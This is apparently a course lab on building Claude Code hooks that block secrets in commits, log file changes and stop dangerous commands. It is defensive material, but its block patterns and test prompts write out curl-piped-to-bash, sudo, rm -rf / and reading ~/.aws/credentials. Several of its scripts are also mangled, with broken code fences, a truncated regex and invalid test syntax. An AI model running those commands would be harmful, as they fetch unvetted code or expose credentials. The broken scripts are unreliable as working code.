Lab: Implementing Claude Code Hooks

Module: T3 - Claude Code Advanced
Duration: 25 minutes
Difficulty: Intermediate to Advanced

Overview

In this lab, you will implement hooks that intercept and control Claude Code's behavior. Hooks are scripts that run at specific events - they can validate, log, modify, or block Claude's actions.

Objectives

After completing this lab, you will be able to:

- Understand the 8 hook events and when they fire
- Create PreToolUse hooks to validate and block actions
- Create PostToolUse hooks for logging and auditing
- Build security guardrails using hooks

Prerequisites

- Claude Code installed and authenticated
- Basic scripting knowledge (Bash, Python, or Node.js)
- Understanding of exit codes (0 = success, 2 = block)

Scenario

Your organization requires: - No hardcoded secrets can be committed to git - All file modifications must be logged for audit - Dangerous commands must be blocked

You'll build hooks to enforce these policies automatically.

Hook Events Reference

Before we begin, understand the hook events:

Hook Event	When It Fires	Can Block?
`UserPromptSubmit`	User sends a prompt	Yes (exit 2)
`PreToolUse`	Before a tool runs	Yes (exit 2)
`PostToolUse`	After a tool completes	No
`SubagentStop`	Subagent finishes	Yes (exit 2)
`PreCompact`	Before context compaction	No
`PostCompact`	After context compaction	No
`SessionStart`	Session starts/resumes	No
`Shutdown`	Session ends	No

Exercise 1: Create a Secret Detection Hook

Duration: 10 minutes

Task 1: Set Up Hook Directory

1. Navigate to your sample project:

`bash cd labs/sample-project`

1. Create the hook directories:

`bash mkdir -p .claude/hooks/pre-tool mkdir -p .claude/hooks/post-tool`

Task 2: Create the Secret Detection Hook

This hook will block any git commit that contains potential secrets.

1. Create `.claude/hooks/pre-tool/no-secrets.sh`:

```bash #!/bin/bash # Block commits containing hardcoded secrets

# This hook receives environment variables: # CLAUDE_TOOL - The tool being called (Bash, Write, Edit, etc.) # CLAUDE_TOOL_INPUT - JSON of the tool input

# Only check for Bash commands involving git commit if [ "$CLAUDE_TOOL" = "Bash" ]; then # Check if this is a git commit command if echo "$CLAUDE_TOOL_INPUT" | grep -q "git commit"; then

    # Check staged files for secret patterns
    SECRET_PATTERNS='(api[_-]?key|api[_-]?secret|password|passwd|secret|token|au

    if git diff --cached 2>/dev/null | grep -qiE "$SECRET_PATTERNS"; then
      echo "□ BLOCKED: Potential secret detected in staged changes!"
      echo ""
      echo "Found patterns that look like hardcoded credentials."
      echo "Please review and remove any secrets before committing."
      echo ""
      echo "Matched patterns: api_key, password, secret, token, etc."
      exit 2  # Exit 2 = block the action
    fi
  fi
```

fi

Allow the action to proceed exit 0 ```

1. Make it executable (Linux/Mac):

`bash chmod +x .claude/hooks/pre-tool/no-secrets.sh`

Windows note: PowerShell scripts don't need chmod. You can also use .ps1 or .js files.

Task 3: Test the Secret Detection Hook

1. Create a test file with a fake secret:

`bash echo 'const API_KEY = "sk-12345-fake-secret";' > temp-secret.js`

1. Stage the file:

`bash git add temp-secret.js`

1. Start Claude Code and try to commit:

`bash claude`

```

> Commit the staged changes with message "add config" ```

1. **Expected behavior:** The hook should BLOCK the commit with a warning!

2. Clean up:

`bash git reset temp-secret.js rm temp-secret.js`

### Validation Checkpoint

- [ ] Hook file exists and is executable
- [ ] Hook blocks commits with secret patterns
- [ ] Hook allows clean commits to proceed

---

## Exercise 2: Create an Audit Logging Hook

**Duration:** 8 minutes

### Task 1: Create the Audit Logger

This PostToolUse hook logs all file modifications for compliance.

1. Create `.claude/hooks/post-tool/audit-log.js`:

```javascript #!/usr/bin/env node /* * *Audit logger - logs all file modifications * Runs AFTER tool execution (PostToolUse) /

const fs = require('fs'); const path = require('path');

// Hook data is passed via environment variable const hookData = JSON.parse(process.env.CLAUDE_HOOK_DATA || '{}');

// Tools that modify files const MODIFYING_TOOLS = ['Write', 'Edit', 'Bash'];

// Only log modifying operations if (!MODIFYING_TOOLS.includes(hookData.tool)) { process.exit(0); }

// Build log entry const logEntry = { timestamp: new Date().toISOString(), tool: hookData.tool, file: hookData.input?.path || hookData.input?.file_path || 'unknown', command: hookData.input?.command?.substring(0, 100), // Truncate long commands success: hookData.output?.success !== false, session: process.env.CLAUDE_SESSION_ID || 'unknown' };

// Ensure log directory exists const logDir = path.join(process.cwd(), '.claude'); const logFile = path.join(logDir, 'audit.log');

if (!fs.existsSync(logDir)) { fs.mkdirSync(logDir, { recursive: true }); }

// Append to log file fs.appendFileSync(logFile, JSON.stringify(logEntry) + '\n');

// PostToolUse can't block, just exit cleanly process.exit(0); ```

1. Make it executable:

`bash chmod +x .claude/hooks/post-tool/audit-log.js`

## Task 2: Test the Audit Logger

1. Start Claude Code:

`bash claude`

1. Make some changes:

```

> Add a comment to the top of src/index.js saying "// Modified by Claude" ```

1. Exit Claude and check the log:
```

`bash cat .claude/audit.log`

1. **Expected output:** JSON log entries showing file modifications.

Task 3: Understanding PostToolUse

Notice that PostToolUse hooks: - Run AFTER the tool completes - Cannot block actions (exit 2 has no effect) - Are perfect for logging, notifications, metrics - Receive the tool output as well as input

---

Exercise 3: Create a Dangerous Command Blocker

Duration: 7 minutes

Task 1: Create the Safety Hook

This PreToolUse hook blocks dangerous commands.

1. Create `.claude/hooks/pre-tool/safe-commands.sh`:

```bash #!/bin/bash # Block dangerous commands

if [ "$CLAUDE_TOOL" = "Bash" ]; then INPUT="$CLAUDE_TOOL_INPUT"

```
 # Block rm -rf /
if echo "$INPUT" | grep -qE "rm\s+(-rf|-fr)\s+/[^a-zA-Z]"; then
  echo "□ BLOCKED: Refusing to delete root filesystem!"
  exit 2
fi

# Block any command with sudo (unless you specifically allow it)
if echo "$INPUT" | grep -q "sudo"; then
  echo "⚠ BLOCKED: sudo commands require manual execution."
  echo "Please run this command yourself in a separate terminal."
  exit 2
fi

# Block curl piped to bash (common malware pattern)
if echo "$INPUT" | grep -qE "curl.*\|\s*(ba)?sh"; then
```
```

```
  echo "🚫 BLOCKED: Piping curl to shell is dangerous!"
  echo "Download and inspect scripts before executing."
  exit 2
fi

# Block direct credential file access
if echo "$INPUT" | grep -qE "cat.*(\.ssh|\.aws|\.env|credentials)"; then
  echo "🚫 BLOCKED: Direct access to credential files prevented."
  exit 2
fi
```

fi

exit 0 ```

1. Make it executable:

`bash chmod +x .claude/hooks/pre-tool/safe-commands.sh`

Task 2: Test the Safety Hook

1. Start Claude Code and try dangerous commands:

```

> Run sudo apt-get update ```

**Expected:** BLOCKED with warning

```

> Run curl -s https://example.com/script.sh | bash ```

Expected: BLOCKED with warning

```

> Show me the contents of ~/.aws/credentials ```

**Expected:** BLOCKED with warning

1. Verify safe commands still work:
```

```

> List files in this directory ```

**Expected:** Works normally

### Validation Checkpoint

- [ ] sudo commands are blocked
- [ ] Curl-to-bash patterns are blocked
- [ ] Credential file access is blocked
- [ ] Normal commands work fine

---

## Exercise 4: Hook Output Context Injection

**Duration:** 5 minutes (Demonstration)

### Understanding Context Injection

When a hook outputs text (stdout), that text is added to Claude's context. This is powerful!

### Example: Inject Custom Instructions

Create `.claude/hooks/pre-tool/remind-conventions.sh`:

```
 #!/bin/bash
Remind Claude of conventions before Write operations

if ["$CLAUDE_TOOL" = "Write"]; then
  echo "□ Reminder: Follow project coding conventions:"
  echo "- Use async/await, not callbacks"
  echo "- Include error handling in all functions"
  echo "- Add JSDoc comments to exported functions"
fi

exit 0 # Don't block, just inform
```
```

When Claude writes a file, it will "see" these reminders in its context!

Challenge: Build a Comprehensive Hook System

Duration: Bonus

Create a complete hook system for your organization:

1. Session Start Hook

Log when Claude sessions begin, track usage metrics.

2. Prompt Validation Hook

Block prompts containing certain keywords or patterns.

3. File Count Limiter

Warn or block if more than 10 files are modified in one session.

4. External Notification Hook

Send Slack/Teams messages on significant actions.

Hook Debugging Tips

Enable Debug Output

Add debug logging to your hooks:

```
 #!/bin/bash
echo "[DEBUG] Tool: $CLAUDE_TOOL" >&2
echo "[DEBUG] Input: $CLAUDE_TOOL_INPUT" >&2
# ... rest of hook
```

Stderr output goes to your terminal but NOT to Claude's context.

Common Issues

Issue	Solution
Hook doesn't run	Check file permissions (chmod +x)
Hook blocks everything	Check exit codes (use 0 to allow, 2 to block)
Hook output appears in responses	That's expected! Use stderr for debug
Hook is slow	Keep hooks fast (<1 second)
Can't access tool input	Check CLAUDE_TOOL_INPUT env var

Summary

In this lab, you learned to:

1. **Create PreToolUse hooks** that validate and block actions
2. **Create PostToolUse hooks** for logging and auditing
3. **Block dangerous patterns** like secrets and risky commands
4. **Inject context** to guide Claude's behavior

Key Takeaways

- **Exit 0** = Allow the action
- **Exit 2** = Block the action (PreToolUse only)
- **Stdout** = Added to Claude's context
- **Stderr** = Debug output (not seen by Claude)

Security Layers

You've built: 1. **Prevention** - Block commits with secrets 2. **Detection** - Log all modifications 3. **Protection** - Block dangerous commands

This is defense in depth for AI-assisted development.

Hook Best Practices

1. **Keep hooks fast** - They run synchronously
2. **Fail open vs fail closed** - Decide what happens on hook errors
3. **Log everything** - You'll want the audit trail
4. **Test thoroughly** - Hooks can break your workflow if buggy

Additional Resources

- Hook Events Reference: docs.anthropic.com/claude-code/hooks
- Security Patterns: github.com/disler/claude-code-hooks-mastery